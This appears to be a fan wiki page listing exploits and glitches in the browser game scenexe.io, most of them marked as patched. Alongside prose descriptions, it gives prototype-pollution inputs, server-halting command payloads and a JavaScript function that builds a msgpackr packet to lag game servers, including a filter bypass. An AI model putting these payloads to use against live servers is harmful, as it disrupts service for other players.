Exploits

Exploits are things that allow you to cheat the game, or break the game.

**Halting** is when game doesn't tick but commands are still usable. Some commands like **/kill** don't work because game needs to tick for entities to die.

Here are some known exploits:

## Fixed known exploits

### Tank Duplicating

- An exploit that was possible by getting sent to server but not disconnecting (this was fixed in 0.9.6)

- Using same key twice trying to connect to crossroads server would cause extreme lag (this was fixed in 0.9.6).

- This was bypassable by sending JOIN\_GAME packet to server that sent you but tank lost xp as if it died and bypass only worked if server that sent you is not crossroads or sanctuary (this was fixed in 0.9.8).

- This was fixed multiple times in different updates. Current reason is unknown.

### Forcing all barrels to shoot in same direction

    - An exploit that was possible by sending very large numbers in ROTATION\_INPUT packet (this was fixed in 0.9.8)

Here is video of Octo-Saw shooting all bullets in same direction: https://www.youtube.com/watch?v=j18yu\_VFPvY

### Spawning in any server as a level 1 Node-Base

- An exploit that allowed normal tanks enter the sanctuary by using \_\_proto\_\_ as key URL parameter in WebSocket URL (fixed in 0.9.7).

You could use these but your tank would be named differently:

### /getpos command abuse

This command was used a lot to revenge players or always find the players (this command was made unusable on main servers in 0.9.9).

### Fake /cf bug

This was triggered when more than six players were in a corner at the same time, allowing for the chance to clip outside the map. If this bug still works is unknown.

**There should be more exploits here but some updates in changelog doesn't say what exploits were fixed.**

### Barrel delay halting

This happens when barrel delay can't be converted to number and barrel is trying to shoot.

example (Tank Editor code): https://old.reddit.com/r/scenexeio/comments/vvt45j/

This prevents ticking in all dimensions in https://new-test.scenexe.io/ and https://test2.scenexe.io/ but only in dimension of tank in https://test.scenexe.io/.

quick fix: /wpc @e null and /bdc @e null

(fixed in 0.9.11 (now it's 0.10.0) (invalid barrel delay behaves like 0))

### Dummy walls or gates

(see Test\_Server\_Commands#Advanced\_Commands)

### /lwalls or /lgates halting

This happens when property that is supposed to be number or can't be converted to number.

example: /lwalls [{"invisible":true,"x":{"toString":0}}]

Server tries to call toString but fails because it's not a function. That prevents ticking in dimension.

"invisible":true makes client don't error trying to draw walls.

quick fix: /lwalls [] and /lgates []

### Team id halting

This happens when team id can't be converted to string.

example Tank Editor full code ("visualTeam":1 needed to not spam errors in client):

```
{"type":"full","visualTeam":1,"team":{"toString":{}}}

```

This prevents ticking only in dimension of tank.

quick fix: /team @e 0

(fixed in 0.10.3 (team id becomes 0))

### Un/rdimable dimension

note:   is U+2003 EM SPACE

You can create   dimension by saying /cdim   1000.

/rdim  , /cdim  , /dim me   don't work because server removes   and other spaces characters from beginning and end using String.prototype.trim() before interpreting chat message.

You can get into   dimension using rift: /sr 0 0 100   1.

### Momentarily high Server Tick Time by sending packet

There is fix that converts object key to string before checking for '\_\_proto\_\_' so bypass explained below doesn't work in newest version of msgpackr.

There was fix that doesn't let decoder decode '\_\_proto\_\_' as key but it's bypassable by making key ['\_\_proto\_\_'] instead.

note: **lag** means high Server Tick Time here

It's possible to make packet that decodes similar to this (longer {'\_\_proto\_\_':{...}} chain or bigger number in 'length':... will lag more):

```
{
 [{
 '\_\_proto\_\_':{
 '\_\_proto\_\_':{
 '\_\_proto\_\_':{
 'length':1000,
 '\_\_proto\_\_':[]
 }
 }
 }
 }]:'whatever'
}

```

example JavaScript code that makes packet (lag\_packet variable) that takes long time to decode (needs scenexe.io's encode function):

```
function u2s(u){
 var s='',i=0,l=u.length;
 while(i<l)s+=String.fromCharCode(u[i++]);
 return s;
}

function s2u(s){
 var i=s.length,u=new Uint8Array(i);
 while(i)u[--i]=s.charCodeAt(i);
 return u;
}

var long\_proto\_chain=JSON.parse(
 //JSON.parse "\_\_proto\_\_" key doesn't set object prototype
 '{"\_\_proto\_\_":'.repeat(69)+
 '{"length":1000000,"\_\_proto\_\_":[]}'+
 '}'.repeat(69)
);

//.replaceAll('$','$$$$') because '$' has special meaning in replacer string and needs to be escaped with '$$'
var lag\_packet=s2u(u2s(encode({'key':'whatever'})).replace(
 u2s(encode('key')),
 u2s(encode(long\_proto\_chain)).replaceAll(
 u2s(encode('\_\_proto\_\_')),
 u2s(encode(['\_\_proto\_\_'])).replaceAll('$','$$$$')
 ).replaceAll('$','$$$$')
));

```

Patched in ALPHA 0.10.9

### Synope Drones Duplicating

    It was possible to duplicate Synope drones by destroying the minions, every time a minion spawns, it'll spawn new drones. Using this exploit could cause extreme lag sometimes.

Patched in ALPHA 0.10.8

## Unfixed known exploits

### Ghost Player

    This is a rare variant of a Tank Duplication glitch allowing for a "ghost" player to appear. It can move, and upgrade. If it can travel to crossroads and respawn is unknown.

### High Server Tick Time clipping

When Server Tick Time is high entities will move more distance per tick and will not do some interactions. This can be abused to:

* clip between walls: ram where walls meet:
* bypass gate bounce: ram gate

### Teleporting to NaN, NaN

Green and Red Base Defender NaN, NaN bug.No Base Defender?Position: NaN, NaNBase Defender with rotation = NaN radians, happened when blue tank teleported to NaN, NaN near itPrime Celestial with rotation = NaN radians1. Sending string like "123e-123" as ROTATION\_INPUT (packet number always 0) packet glitches barrels with rotation non-{non-negative integer} radians.
	* "0 " glitches all barrels regardless of rotation.
2. Glitched barrels recoil player to NaN, NaN.
3. Base Defender rotates towards NaN, NaN (follows player) (Base Defender's rotation becomes NaN).
4. Drone launchers recoil Base Defender to NaN, NaN.

### Tank Editor code color transparency

    Also known as the "rgba bug," it's possible to use **#RRGGBBAA** color code when editing Tank Editor code JSON but not when editing using Tank Editor GUI.

With **alpha** less than FF (which is the default alpha) there are bugs when trying to display the border and health bar. For team colors on non-polygons it only has an effect when viewed while editing, and will act as Normal FFA team. For polygons with team colors, spawned by polygon spawner cannons, the polygons borders will look as expected, however if the polygon takes damage, the game is unable to render it's health bar, causing a weird effect where the screen semi freezes, drawing most elements (everything except GUI, health, background (not grid), and names) over a frozen copy of themselves. (This bug also happens with radiant less than .5, as that seems to also mess with the alpha values as well. However for this bug the borders glitch in a way I can't currently explain. This bug with radiant <.5 can also happen with players, not just shapes.) For bullets, drones, minions, tank sections, auras, and layers, the border works as one would expect. For auto-turret bases, aura bases and mounted drone spawner colors, they inherit the border color of the previous gadget (it takes the barrel color from auto cannons and mounted drone spawners, the aura color from auras, and the base color from tank sections.) if there is one and if the color is defined, (You can make colors undefined by removing the color and anything which would set the default color in the code.) otherwise it will take the color of the tank section or tank it is a part of. For cannons, they inherit the border color of the the tank section or tank the tank section is on, but if they aren't on a tank section they inherit the color of the most recent shape to enter your screen. (If there are no shapes it inherits from the map color.) On other players screen, it would inherit your color instead of other things colors. However it can sometimes inherit a different players color on their screen.

More generally, the borders are fine when assigned to "team" (with the exception of setting your team) in the code, but not when assigned to "color".

This can be useful, especially alpha 0 on aura bases, as it allows you to get just the border of any shape.

### Changing Drones/Minions size

        To do this exploit, you need: Drone/Minion Spawners with different sizes **-** Something that can destroy drones/minions. Example: A type-0 Gate.

So let's start with the explanation: Moon has a Drone limit and 9 Drone Spawners, 6 of the Drone Spawners are tiny and the others are big, the Drone Spawners spawns drones, right? "yeah.." then those Barrels just spawns drones until it reaches the limit, you just need to use one of the "big" Barrels, wait until 90%+ of the drones spawn, and you're done. This exploit just changes your drones size that's all.

Credit to **[GT]Darkstar** for discovering the exploit: *Scenexe.io; The Exploited Moon...*